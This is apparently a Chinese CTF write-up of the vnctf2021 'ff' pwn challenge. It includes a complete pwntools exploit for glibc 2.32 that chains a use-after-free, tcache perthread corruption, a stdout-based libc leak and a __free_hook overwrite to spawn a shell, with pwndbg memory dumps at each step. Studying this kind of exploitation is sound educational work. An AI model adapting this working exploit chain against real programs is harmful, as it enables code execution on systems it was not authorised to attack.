vnctf2021 ff 复现
1 2 3 4 5
| ➜ [/home/ywhkkx/桌面] ./pwn 1.add 2.del 3.exit >>
|
1 2 3 4 5 6 7 8
| pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1fd4ed1f1e5db9e2f81e26150d0a5b6db56d2261, not stripped
[*] '/home/ywhkkx/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
64位,dynamically,全开
程序给了 libc 版本:
1
| GNU C Library (Ubuntu GLIBC 2.32-0ubuntu3) release release versio
|
漏洞分析
1 2 3 4
| void del() { free((void *)chunk_list[idx]); }
|
经典 UAF
入侵思路
程序可以控制的部分太少了,连 free 的参数都不能控制,另外程序是有“打印模块”和“修改模块”的,但是“修改模块”只能使用两次,每次只能改16字节,还没法控制参数,“打印模块”也被法控制,并且只能打印一次
因为只能打印一次,“libc_base”,“chunk_list_addr”,“heap_addr”这些我们想要的数据就只能 leak 一个,我当然是想要 “libc_base” ,但是程序又有限制
因为程序限制 malloc size 的大小,所以 unsortedbin leak 挂了
1 2 3 4
| puts("Size:"); size = myRead(); if ( size > 0x7E ) size = 127;
|
只能泄露“heap_addr”了,在加上“打印模块”的长度不够,所以还需要一些操作:
1 2 3 4 5 6 7 8 9
| add(0x20,'a'*0x20) delete() show()
p.recvuntil('>>') leak_addr=u64(p.recvuntil('1')[:-1].ljust(8,'\x00')) heap_addr=eval(hex(leak_addr)+'0'*3)
success('heap_addr >> '+hex(heap_addr))
|
只知道“heap_addr”,我的第一反应是打 unlink,但是没有 off-by-one 也打不了,我觉得我止步于此了,但我还是想谈一谈我的想法:
这题没有泄露“libc_base”,大概率是要打 house of roman 爆破libc库函数的,关键就在于这个 size 检查把 unsortedbin 限制了,导致 main_arene 写不进来,当然 house of roman 也没毛用了
没有“libc_base”还有一个解决方式,IO_2_1_stdout leak,这种攻击可以和 house of roman 结合(比如我刚刚复现过的 nepctf2021 sooooeasy),但缺少 main_arene 的核心问题还是没有解决
先挂上大佬的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import *
file_path = "./pwn" context.arch = "amd64"
p = process([file_path]) libc=ELF('./libc-2.32.so') elf=ELF(file_path)
def add(size, content=b"1\n"): p.sendlineafter(">>", "1") p.sendlineafter("Size:\n", str(size)) p.sendafter("Content:\n", content)
def delete(): p.sendlineafter(">>", "2")
def show(): p.sendlineafter(">>", "3")
def edit(content): p.sendlineafter(">>", "5") p.sendafter("Content:\n", content)
stdout = 0xa6c0
while True: try: add(0x78) delete() show() heap_base = u64(p.recv(8)) << 12 log.success("heap base is {}".format(hex(heap_base)))
edit(b"\x00"*0x10) delete() enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10) edit(p64(enc) + p64(heap_base + 0x10))
add(0x78) add(0x78, b"\x00"*0x48 + p64(0x0007000000000000)) delete()
add(0x48, p32(0) + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38) add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0)) delete()
add(0x38, p16(stdout)) add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_'] log.success("libc address is {}".format(hex(libc.address))) if(libc.address>0x5000000000000 or libc.address < 0x5000): print("wrong and continue\n") continue break except: p.close() p = process([file_path])
add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10)) add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system'])) delete()
p.interactive()
|
经过测试,大佬的 exp 也不是百分之百可以打通的,因为有时候会 leak 异常的 libc_base,所以我修改了一下 exp ,使其可以舍弃掉一些异常的 libc_base
1 2 3 4 5
| add(0x78) delete() show() heap_base = u64(p.recv(8)) << 12 log.success("heap base is {}".format(hex(heap_base)))
|
大佬的 heap_addr 泄露和我的思路一样,但是比我的简洁多了
1 2 3 4 5 6 7 8
| edit(b"\x00"*0x10) delete() enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10) edit(p64(enc) + p64(heap_base + 0x10)) add(0x78) add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
delete()
|
1 2 3 4 5 6 7 8
| pwndbg> x/20xg 0x558b1cfcd000 0x558b1cfcd000: 0x0000000000000000 0x0000000000000291 0x558b1cfcd010: 0x0000000000000000 0x0000000000000000 0x558b1cfcd020: 0x0000000000000000 0x0000000000000000 0x558b1cfcd030: 0x0000000000000000 0x0000000000000000 0x558b1cfcd040: 0x0000000000000000 0x0000000000000000 0x558b1cfcd050: 0x0000000000000000 0x0007000000000000 0x558b1cfcd060: 0x0000000000000000 0x0000000000000000
|
delete() 执行之后:
1 2
| unsortedbin all: 0x558b1cfcd000 —▸ 0x7fea097ddc00 (main_arena+96) ◂— 0x558b1cfcd000
|
大佬果然有办法搞到“main_arena”,这里其实是利用了 tcache 的机制:
- 当某一个tcache链表满了7个,再有对应的chunk(不属于fastbin的)被free,就直接进入了unsortedbin中
- tcache_perthread_struct 结构一般在 heapbase+0x10(0x8)的位置,对应tcache的数目是char类型
因为程序没法控制“释放模块”的参数,所以想通过正常手段填满 tache 显然不可能了,但是我们已知 heapbase 的地址,可以通过 tcache dup 来劫持 tcache_perthread_struct,将0x290
大小堆块对应的count
设置为7
,释放后就会把整个 tcache_perthread_struct 放入 unsortedbin(这种攻击模式被称为 tcache perthread corruption)
注意:因为 libc-2.32 新增加的特性:
1 2 3
| #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
|
程序会对 tcache->fd
指针的加密(还有这种操作?),所以我们在伪造 FD 的时候也要进行一次相同的加密
接下来申请了两个 chunk 把“heap_base + 0xb0”连接入“tcachebin”
1 2 3
| add(0x48, p32(0) + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38) add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0)) delete()
|
释放后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| pwndbg> x/20xg 0x558b1cfcd000 0x558b1cfcd000: 0x0000000000000000 0x0000000000000051 0x558b1cfcd010: 0x0001000200000000 0x0000000000000001 0x558b1cfcd020: 0x0000000000000000 0x0000000000000000 0x558b1cfcd030: 0x0000000000000000 0x0000000000000000 0x558b1cfcd040: 0x0000000000000000 0x0000000000000000 0x558b1cfcd050: 0x0000000000000000 0x0000000000000051 0x558b1cfcd060: 0x0000000558b1ce3c 0x0000558b1cfcd010 0x558b1cfcd070: 0x0000000000000000 0x0000000000000000 0x558b1cfcd080: 0x0000000000000000 0x0000000000000000 0x558b1cfcd090: 0x0000000000000000 0x0000000000000000 0x558b1cfcd0a0: 0x0000558b1cfcd0b0 0x0000558b1cfcd060 0x558b1cfcd0b0: 0x00007fea097ddc00 0x00007fea097ddc00 0x558b1cfcd0c0: 0x0000000558b1cfcd 0x0000000000000000 0x558b1cfcd0d0: 0x0000000000000000 0x0000000000000000 0x558b1cfcd0e0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| tcachebins 0x40 [ 2]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd 0x50 [ 1]: 0x558b1cfcd060 ◂— 0x1f1 0x60 [ 1]: 0x7fea097ddc00 (main_arena+96) ◂— 0x558ce25c44cd 0x70 [ 0]: 0x7fea097ddc00 (main_arena+96) ◂— ... 0x80 [ 0]: 0x558b1cfcd 0x260 [ 81]: 0x0 0x2a0 [52796]: 0x0 0x2b0 [22705]: 0x0 0x2c0 [ 5]: 0x0 0x2e0 [53264]: 0x0 0x2f0 [7420]: 0x0 0x300 [21899]: 0x0
unsortedbin all: 0x558b1cfcd0a0 —▸ 0x7fea097ddc00 (main_arena+96) ◂— 0x558b1cfcd0a0
|
这一块需要先学习 tcache_perthread_struct 结构
下面一段代码需要把两个“add”分开进行理解:
1 2 3 4
| add(0x38, p16(stdout)) add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00") libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_'] log.success("libc address is {}".format(hex(libc.address)))
|
第一次申请后:
1 2 3 4 5
| tcachebins 0x40 [ 1]: 0x7f465c72d9cf 0x50 [ 1]: 0x55aa705cf060 ◂— 0x1f1 0x60 [ 1]: 0x7f4306d5a6c0 (_nl_C_LC_CTYPE+64) ◂— 0x7f44f2e09f9a
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwndbg> x/20xg 0x55aa705cf000 0x55aa705cf000: 0x0000000000000000 0x0000000000000051 0x55aa705cf010: 0x0001000100000000 0x0000000000000001 0x55aa705cf020: 0x0000000000000000 0x0000000000000000 0x55aa705cf030: 0x0000000000000000 0x0000000000000000 0x55aa705cf040: 0x0000000000000000 0x0000000000000000 0x55aa705cf050: 0x0000000000000000 0x0000000000000051 0x55aa705cf060: 0x000000055aa7043e 0x000055aa705cf010 0x55aa705cf070: 0x0000000000000000 0x0000000000000000 0x55aa705cf080: 0x0000000000000000 0x0000000000000000 0x55aa705cf090: 0x0000000000000000 0x0000000000000000 0x55aa705cf0a0: 0x00007f465c72d9cf 0x000055aa705cf060 0x55aa705cf0b0: 0x00007f4306d5a6c0 0x0000000000000000 0x55aa705cf0c0: 0x000000055aa705cf 0x0000000000000000
|
这次申请的是“0x40的tcache”(写有“0x60的tcache”),输入的是“0x60的tcache”的位置,下一次如果申请的大小为“0x60”就会把“覆盖后的main_arena”申请出来,进行一次写入
第二次申请,就进行了 IO_2_1_stdout leak,通过修改 _IO_2_1_stdout_
的 flag 值,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base
到 _IO_write_ptr
之间的数据
1 2 3
| add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10)) add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system'])) delete()
|
1 2 3 4
| tcachebins 0x40 [ 1]: 0x7f3e3391980a 0x50 [ 1]: 0x561aa040a060 ◂— 0x1f1 0x60 [ 0]: 0x708180b3d
|
1 2 3 4 5 6 7 8 9
| pwndbg> x/20xg 0x561aa040a050 0x561aa040a050: 0x0000000000000000 0x0000000000000051 0x561aa040a060: 0x0000000561aa05fb 0x0000561aa040a010 0x561aa040a070: 0x0000000000000000 0x0000000000000000 0x561aa040a080: 0x0000000000000000 0x0000000000000000 0x561aa040a090: 0x0000000000000000 0x0000000000000000 0x561aa040a0a0: 0x00007f3e3391980a 0x0000561aa040a060 0x561aa040a0b0: 0x0000000708180b3d 0x0000000000000000 0x561aa040a0c0: 0x0000000561aa040a 0x0000000000000000
|
和上面思路一样,打了 free_hook 就结束了(这个heap排列真的值得我学习)
小结:
本题目融合了 tcache perthread corruption,house of roman,IO_2_1_stdout leak,难度有明显上升,因为我之前复现了一道 house of roman 和 IO_2_1_stdout leak 结合的题目,所以爆破这部分比较顺畅
此题目大大加强了我对 tcache 的理解(主要是对“tcache_perthread_struct”的理解),还体验了一波 tcache perthread corruption(刚学tcache时,觉得它的检查很少很简单,现在觉得它的利用也挺麻烦的)
我还学习到了大佬的思路,说实话,大佬对于覆写“tcache_entry”的处理真的让我大开眼界,他对于 unsortedbin 的切割很是讲究,使 main_arena 刚好可以被控制,并且后面“申请tcache”和“覆写main_arena”的配合也是研究过的,没有出现“无main_arena可用”的尴尬(对于 heap 排列,我还是要多多“试错”)